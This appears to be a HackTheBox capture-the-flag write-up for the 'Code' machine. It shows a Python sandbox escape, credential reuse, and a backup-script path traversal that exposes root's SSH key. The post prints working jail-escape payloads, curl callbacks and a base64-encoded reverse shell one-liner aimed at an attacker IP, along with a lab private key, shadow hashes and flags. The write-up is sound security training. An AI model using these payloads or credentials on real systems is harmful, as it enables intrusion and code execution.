Post

HackTheBox Writeup - Code

HackTheBox Writeup - Code

Code is an easy Linux machine featuring a Python Code Editor web application that is vulnerable to remote code execution by achieving a Python Jail Bypass. After gaining access as the app-production user, crackable credentials can be found in an sqlite3 database file. Using these credentials, access is granted to another user, martin, who has sudo permissions to a backup utility script, backy.sh. This script includes a section of vulnerable code, which, when exploited, allows us to escalate our privileges by creating a copy of the root folder.

Recon


Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.95 scan initiated Wed Mar 26 14:11:36 2025 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,5000, 10.129.226.149
Nmap scan report for 10.129.226.149
Host is up, received user-set (0.20s latency).
Scanned at 2025-03-26 14:11:37 CST for 15s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
|   256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 26 14:11:52 2025 -- 1 IP address (1 host up) scanned in 16.14 seconds

80 - HTTP : Python Code Editor

Info

1
http://10.129.226.149:5000 [200] [Python Code Editor] [gunicorn/20.0.4] [ef430b51078fca111285f14f4b3e7beccc52da2b] [Cloudflare,Python,cdnjs,gunicorn:20.0.4,jQuery]

Directory

1
[+] cat httpx/urls.txt | feroxbuster -k -A --stdin -w /usr/share/wordlists/dirb/common.txt --dont-scan .(tif|tiff|ico|cur|bmp|webp|svg|png|jpg|jpeg|jfif|gif|avif|apngogg|css|js|woff|woff2|eot|ttf|otf)$ -I css,png,jpg,gif --collect-words --collect-backups --collect-extensions --scan-dir-listings -C 404,400,500 -r -n --scan-limit 4 -o bulkdirb.txt
1
2
3
4
5
6
405      GET        5l       20w      153c http://10.129.226.149:5000/run_code
405      GET        5l       20w      153c http://10.129.226.149:5000/save_code
200      GET       24l       53w      741c http://10.129.226.149:5000/register
200      GET       24l       53w      730c http://10.129.226.149:5000/login
200      GET      100l      234w     3435c http://10.129.226.149:5000/
200      GET       22l       96w      818c http://10.129.226.149:5000/about

User Flag


Shell as martin

5000 - Python Code Editor : Python jail escape

http://10.10.11.62:5000/

It’s a python sandbox for users to run python code, but some words like system or import are banned

1
import os; os.system("id")

Tried some common methods to bypass python jail, they all resulted with the error : Use of restricted keywords is not allowed.

1
2
3
4
5
6
7
8
# Banned : open, read
with open ("/etc/passwd") as f: print(f.read())

# Banned : exec
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

# Banned : eval
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])

However, we can still bypass the filters by splitting strings, then access functions such as popen to run commands. Check out [[#Additional#Python jail escape to RCE]]

By enumerating global variables, we got some useful information

1
print(globals())
  • Web framework : Flask
  • Web app file location : /home/app-production/app/app.py
  • Database engine : SQLAlchemy and the database file location : sqlite:////home/app-production/app/instance/database.db
  • A User class exists in app.py
  • Custom objects and functions

SQLAlchemy is a Python SQL toolkit and Object Relational Mapper that gives application developers the full power and flexibility of SQL

The User class is a sqlalchemy model

1
print(type(User))

Enumerate User class’s attributes and functions

1
print(dir(User))

Query all user data by running sqlalchemy model’s built-in function

1
print(User.query.all())

To show variables of user instances, we can iterate through the list of users with vars()

1
print([vars(x) for x in User.query.all()])
  • Found some MD5 password hashes

We can upload the MD5 password hashes to crackstation to make use of on online rainbow table

1
2
759b74ce43947f5f4c91aeddc3e5bad3
3de6f30c4a09c27fc71932bfc68474be

22 - SSH : Credential stuffing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(bravosec㉿fsociety)-[~/htb/Code]
└─$ cssh $(pt get rhost) martin 'nafeelswordsmaster'
Warning: Permanently added '10.129.226.149' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed 26 Mar 2025 08:02:57 AM UTC

  System load:           0.08
  Usage of /:            55.2% of 5.33GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             232
  Users logged in:       0
  IPv4 address for eth0: 10.129.226.149
  IPv6 address for eth0: dead:beef::250:56ff:feb0:c87b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Mar 26 08:02:58 2025 from 10.10.14.7
martin@code:~$ id
uid=1000(martin) gid=1000(martin) groups=1000(martin)

Root Flag


From martin to root

SUDO - Bash script : Logic flaw leads to arbitrary file read

martin can run /usr/bin/backy.sh as root

1
2
3
4
5
6
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

/usr/bin/backy.sh is owned by root

1
2
martin@code:~$ ls -la /usr/bin/backy.sh
-rwxr-xr-x 1 root root 926 Sep 16  2024 /usr/bin/backy.sh

Code overview

The bash script grabs directories_to_archive from user provided json file, then check if the directories in .directories_to_archive array start with /var or /home, if true, it will run backy with the json file specified

  • updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file") : It removes ../ from directories_to_archive then store the result in $updated_json to prevent directory traversal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

There’s a backup folder with task.json and an archive that probably contains /home/app-production/app

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
martin@code:~$ ls -latr
total 36
drwxr-xr-x 4 root   root   4096 Aug 27  2024 ..
-rw-r--r-- 1 martin martin  807 Aug 27  2024 .profile
-rw-r--r-- 1 martin martin  220 Aug 27  2024 .bash_logout
-rw-r--r-- 1 martin martin 3771 Aug 27  2024 .bashrc
lrwxrwxrwx 1 root   root      9 Aug 27  2024 .bash_history -> /dev/null
lrwxrwxrwx 1 root   root      9 Aug 27  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root   root      9 Aug 27  2024 .sqlite_history -> /dev/null
drwx------ 2 martin martin 4096 Sep 16  2024 .ssh
drwxrwxr-x 2 martin martin 4096 Feb 17 10:58 .local
drwx------ 2 martin martin 4096 Mar 26 08:05 .cache
drwxr-x--- 6 martin martin 4096 Mar 26 08:55 .
drwxr-xr-x 2 martin martin 4096 Mar 26 08:55 backups
martin@code:~$ ls -latr backups/
total 20
-rw-r--r-- 1 martin martin  181 Mar 26 08:55 task.json
-rw-r--r-- 1 martin martin 5879 Mar 26 08:55 code_home_app-production_app_2024_August.tar.bz2
drwxr-x--- 6 martin martin 4096 Mar 26 08:55 ..
drwxr-xr-x 2 martin martin 4096 Mar 26 08:55 .

backups/task.json is an example that /usr/bin/backy recognizes

1
2
3
4
5
6
7
8
9
10
11
12
martin@code:~$ cat backups/task.json
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],
        "exclude": [
                ".*"
        ]
}

Create a custom task.json based on the template to achieve the goals:

  • directory traversal from /home/ to /root/.ssh
  • set verbose_log to true
  • remove exclude key
1
martin@code:~$ vi /tmp/task.json
1
2
3
4
5
6
7
8
{
  "destination": "/tmp/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/../root/.ssh"
  ]
}

Run /usr/bin/backy.sh as root with the custom task.json, for some reasons it doesn’t remove ../ from .directories_to_archive

1
2
3
4
5
6
7
8
9
10
11
12
martin@code:~$ sudo /usr/bin/backy.sh /tmp/task.json
/usr/bin/backy.sh: line 19: /tmp/task.json: Permission denied
2025/03/26 18:59:50 🍀 backy 1.2
2025/03/26 18:59:50 📋 Working with /tmp/task.json ...
2025/03/26 18:59:50 💤 Nothing to sync
2025/03/26 18:59:50 📤 Archiving: [/home/../root/.ssh]
2025/03/26 18:59:50 📥 To: /tmp ...
2025/03/26 18:59:50 📦
tar: Removing leading `/home/../' from member names
/home/../root/.ssh/
/home/../root/.ssh/id_rsa
/home/../root/.ssh/authorized_keys

Decompress the backup archive

1
2
3
4
martin@code:~$ tar jxvf /tmp/code_home_.._root_.ssh_2025_March.tar.bz2
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys

Read ssh private key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
martin@code:~$ cat root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----
martin@code:~$ rm -rf root/
martin@code:~$ 

Save the ssh private key to local then set proper permissions

1
2
3
4
┌──(bravosec㉿fsociety)-[~/htb/Code]
└─$ vi loot/root.id_rsa                                                                                                                                                                                   
┌──(bravosec㉿fsociety)-[~/htb/Code]
└─$ chmod 600 loot/root.id_rsa

SSH with the private key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(bravosec㉿fsociety)-[~/htb/Code]
└─$ ssh -i loot/root.id_rsa root@$(pt get rhost)
Warning: Permanently added '10.10.11.62' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed 26 Mar 2025 06:47:14 PM UTC

  System load:           0.13
  Usage of /:            51.4% of 5.33GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             243
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.62
  IPv6 address for eth0: dead:beef::250:56ff:feb9:191d


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Mar 26 18:47:14 2025 from 10.10.14.144
root@code:~# id
uid=0(root) gid=0(root) groups=0(root)
root@code:~# cat root.txt
e948a8028cbd58e7c890431e9d7c9970
root@code:~# cat /home/app-production/user.txt
7f535a5b3a3db577c45a1bf07a302ccf

Additional


Post exploitation

Secrets

1
2
3
4
root@code:~# awk -F: '$2 ~ /^\$/' /etc/shadow
root:$6$UHZYd6beZ0z/jb9q$9dEz/1pi4fnVirs9VuURIvU0X/PO321dFctbLr3EBeeii31EZ7OjetlzaiHMZa5HC6jJEN5FWLva/oisCnc4D1:19931:0:99999:7:::
app-production:$6$HjHAfjyM/2n2iItl$.So3HPNRtfPFQlcRvRPYpVzro48elIVza8GdeOVIzd47zJLP7QibwcVh8NIUxttofJiBGS1b36tiVuNoaEyMU0:19931:0:99999:7:::
martin:$6$wSHwZeJrAIh31tGN$1aAHjOgCNDWuEOpzMydwUp4GbiguXz02L8i8YBC.yd7YQ4BZbOr/VMBjzzjTdMVoAnr37omZ/HJXMy.JBIfZ3.:19962:0:99999:7:::

Files

1

Client side activities

Keylogging & Clipboard history

1

Browser

1

Files & directories access history

1

Application history

1

Python jail escape to RCE

Access all loaded classes

We can use a trick to view all classes loaded in memory:

1
print(().__class__.__base__.__subclasses__())
  • () : Empty tuple
  • ().__class__ : Gets the class of the empty tuple (<class 'tuple'>)
  • ().__class__.__base__ : Gets the base class of tuple (<class 'object'>)
  • ().__class__.__base__.__subclasses__() : Calls the __subclasses__() method of object, which returns a list of all classes that directly inherit from object

Popen

We can iterate through all classes and find the imported subprocess.Popen class by splitting 'popen' to 'po'+'pen', then use it to execute command

1
2
3
4
5
6
for cls in ().__class__.__base__.__subclasses__():
    if "po"+"pen"==cls.__name__.lower():
        print(f"{cls.__module__}.{cls.__name__}")
        powpen = cls
        powpen(['curl','10.10.14.63'])
        break

Got a callback, which indicates that it worked

Below is a oneliner to get reverse shell using list comprehension:

1
[x for x in ().__class__.__base__.__subclasses__() if x.__name__.lower()=='pop'+'en'][0](['/bin/bash', '-c', 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42My8xMTExIDA+JjEK | base64 -d | bash'])

Other methods - Call os.system

Method 1

We can iterate through all classes and find one that has sys.modules in global namespace, then use it to access os.system()

Original:

1
2
3
4
5
6
7
8
9
10
11
12
for cls in ().__class__.__base__.__subclasses__():
    init_fn = cls.__init__
    if hasattr(init_fn, '__globals__'):
        globs = init_fn.__globals__
        if 'sys' in globs:
            print(f"{cls.__module__}.{cls.__name__}")
            sys_mod = globs['sys']
            mod = sys_mod.modules['o'+'s']
            func = 'sy' + 'st' + 'em'
            swistem = getattr(mod, func)
            swistem('curl 10.10.14.63')
            break

Simplified:

1
getattr([c.__init__.__globals__['sys'] for c in ().__class__.__base__.__subclasses__() if hasattr(c.__init__, '__globals__') and 'sys' in c.__init__.__globals__][0].modules['o'+'s'], 'sys'+'tem')('curl 10.10.14.63')

Or find a class that uses os:

1
[x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'o"+"s." in str(x)][0]['sys'+'tem']('curl 10.10.14.63')

Method 2

Since we already know that catch_warnings has sys module in its global namespace, just use it instead of searching from all classes

Original :

1
2
3
4
5
sys_mod = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "catch_warnings"][0].__init__.__globals__["sys"]
o = sys_mod.modules["o"+"s"]
func_name = 'sys' + 'tem'
swistem = getattr(o, func_name)
print(swistem("curl 10.10.14.63"))

Simplified:

1
getattr([x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "catch_warnings"][0].__init__.__globals__["sys"].modules["o"+"s"], 'sys'+'tem')("curl 10.10.14.63")

Method 3

Access os.system() from sys.modules in current global namespace

Original:

1
2
3
4
sys_mod = globals()['sys']
so_mod = sys_mod.modules['o'+'s']
swistem = getattr(so_mod, 'sys'+'tem')
print(swistem('curl 10.10.14.63'))

Simplified :

1
getattr(globals()['sys'].modules['o'+'s'], 'sys'+'tem')('curl 10.10.14.63')
This post is licensed under CC BY 4.0 by the author.